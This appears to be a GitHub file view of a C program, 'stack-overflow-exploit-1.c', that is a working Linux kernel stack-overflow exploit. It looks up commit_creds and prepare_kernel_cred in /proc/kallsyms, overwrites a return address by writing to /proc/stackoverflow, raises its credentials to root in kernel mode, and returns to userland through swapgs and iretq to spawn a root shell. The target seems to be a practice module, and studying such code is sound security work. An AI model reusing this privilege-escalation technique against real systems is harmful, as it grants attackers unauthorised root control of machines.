-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathstack-overflow-exploit-1.c
92 lines (74 loc) · 1.96 KB
/
stack-overflow-exploit-1.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <stdint.h>
#define SIZE 24
typedef int __attribute__((regparm(3))) (*printk_t)(const char *s, ...);
typedef int __attribute__((regparm(3))) (*commit_creds_t)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_t)(unsigned long cred);
printk_t printk;
commit_creds_t commit_creds;
prepare_kernel_cred_t prepare_kernel_cred;
struct trap_frame {
void *rip;
unsigned long cs;
unsigned long rflags;
void *rsp;
unsigned long ss;
};
struct trap_frame trap;
void pop_shell(){
execl("/bin/sh","sh",NULL);
}
/* function finds provided kernel symbol in /proc/kallsyms */
void *get_ksym(char *name) {
FILE *f = fopen("/proc/kallsyms", "rb");
char c, sym[512];
void *addr;
int ret;
while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
if (!strcmp(sym, name))
return addr;
return NULL;
}
void ownedit(void) {
printk("I'm in!");
commit_creds(prepare_kernel_cred(0));
asm(
"movq $trap,%rsp;"
"swapgs;"
"iretq;"
);
}
int main() {
char buf[SIZE];
int fd, i;
memset(buf, 'A', SIZE);
printk = get_ksym("printk");
prepare_kernel_cred = get_ksym("prepare_kernel_cred");
commit_creds = get_ksym("commit_creds");
trap.rip = &pop_shell;
asm(
"movq %cs, %r12;"
"pushq %r12;"
"popq trap+8;" // prepare cs
"pushfq;"
"popq trap+16;" // prepare rflags;
"pushq %rsp;"
"popq trap+24;" // prepare rsp;
"movq %ss, %r12;"
"pushq %r12;"
"popq trap+32;" // prepare ss
);
unsigned long long *ptr = (unsigned long long)&buf[16];
*ptr = (unsigned long long)&ownedit;
if((fd = open("/proc/stackoverflow", O_RDWR)) == -1) {
perror("");
return -1;
}
write(fd, buf, sizeof(buf));
return 0;
}